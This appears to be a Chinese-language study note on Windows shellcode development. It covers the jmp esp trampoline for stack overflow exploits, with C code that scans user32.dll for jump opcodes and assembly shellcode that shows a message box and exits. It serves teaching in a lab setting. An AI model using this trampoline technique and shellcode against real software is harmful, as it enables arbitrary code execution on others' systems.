【学习笔记Ⅰ】Chapter3 开发 shellcode 的艺术(实操)

0x00 栈帧移位与 jmp esp

0x01 原理

在chapter2 栈溢出原理与实践的代码植入中,直接将返回地址构造成一个定值,但由于动态链接库的装入和卸载等原因,Windows 进程的函数栈帧很有可能会产生“移位”,造成如下图所示的情况,指向无效指令,导致 shellcode 无法正常执行。 

为了解决这个问题,需要使用一个“跳板”,这里采用的是跳转指令 jmp esp(跳板技术应该算得上是Windows 栈溢出利用技术的一个里程碑)。

攻击流程:

  • 用内存中任意一个 jmp esp 指令的地址覆盖函数返回地址;
  • jmp esp 指令被执行后,处理器会到栈区函数返回地址之后的地方取指令执行;
  • 重新布置 shellcode:将缓冲区前边一段地方用任意数据填充,把 shellcode 恰好摆放在函数返回地址之后。

0x02 使用“跳板”定位的 exploit

准备工作1:编程序搜索内存,找到 jmp esp 的内存地址。

jmp esp 对应的机器码是 0xFFE4,程序的作用就是从 user32.dll 在内存中的基地址开始向后搜索 0xFFE4,如果找到就返回其内存地址(指针值)。修改程序可用别的动态链接库替换 user32.dll,或使用其他类型的跳转地址。

//FF E0 JMP EAX
//FF E1 JMP ECX
//FF E2 JMP EDX
//FF E3 JMP EBX
//FF E4 JMP ESP
//FF E5 JMP EBP
//FF E6 JMP ESI
//FF E7 JMP EDI

//FF D0 CALL EAX
//FF D1 CALL ECX
//FF D2 CALL EDX
//FF D3 CALL EBX
//FF D4 CALL ESP
//FF D5 CALL EBP
//FF D6 CALL ESI
//FF D7 CALL EDI


#include <windows.h> #include <stdio.h> #define DLL_NAME "user32.dll" main() { BYTE* ptr; int position,address; HINSTANCE handle; BOOL done_flag = FALSE; handle=LoadLibrary(DLL_NAME); if(!handle) { printf(" load dll erro !"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++) { try { if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) { //0xFFE4 is the opcode of jmp esp int address = (int)ptr + position; printf("OPCODE found at 0x%x\n",address); } } catch(...) { int address = (int)ptr + position; printf("END OF 0x%x\n", address); done_flag = true; } } }

运行结果:

选择其中一条 0x77D86773 作为返回地址。

准备工作2:为了修复之前 shellcode 无法正常退出的缺陷,在调用 MessageBox 之后,通过调用 exit 函数让程序干净利落地退出。

ExitProcess 是 kernel32.dll 的导出函数,依然使用 dependency walker,找到我们所需的内存地址,结果如下:

kernel32.dll 的基地址是 0x7C800000,加上函数的偏移地址 0x0001CAFA,最后得到函数的入口地址为 0x7C81CAFA

准备工作3:提取汇编代码对应的机器码。通过反汇编工具,如 IDA pro 或 OD 完成汇编代码到机器码的转换。

使用如下 shellcode 的源代码,用 VC6.0 编译运行:

#include <windows.h>
int main()
{    
    HINSTANCE LibHandle;
    char dllbuf[11] = "user32.dll";
    LibHandle = LoadLibrary(dllbuf);
    _asm{
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                sub sp,0x440
                xor ebx,ebx
                push ebx // cut string
                push 0x74736577
                push 0x6C696166//push failwest
            
                mov eax,esp //load address of failwest
                push ebx    
                push eax
                push eax
                push ebx
                
                mov  eax, 0x77D507EA//(0x77D804EA) address should be reset in different OS
                call eax  //call MessageboxA
                            
                push ebx
                mov eax,0x7C81CAFA //(0x7C81CDDA) address should be reset in different OS
                call eax //call exit(0)
                
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
                nop
    }
}

注意!ExitProcess 函数的入口地址应该对应改成准备工作2中获得的内存地址。同时,前后输入较多的 nop 是方便下一步定位机器代码。

结果:在 OD 中加载 PE 文件,找到相应的机器代码,复制到 TXT 文件中。

至此,所需的准备工作就完成了,接下来就制作 exploit 吧!

首先,计算好返回地址在缓冲区中的偏移,在第53-56字节处填入 jmp esp 的内存地址,之前用任意字符串填充(如‘1234’)。

然后,将需要执行的机器代码填入:

结果:使用跳板完成消息框,且不会出现内存错误了。

猜你喜欢

转载自www.cnblogs.com/ninahu/p/12546560.html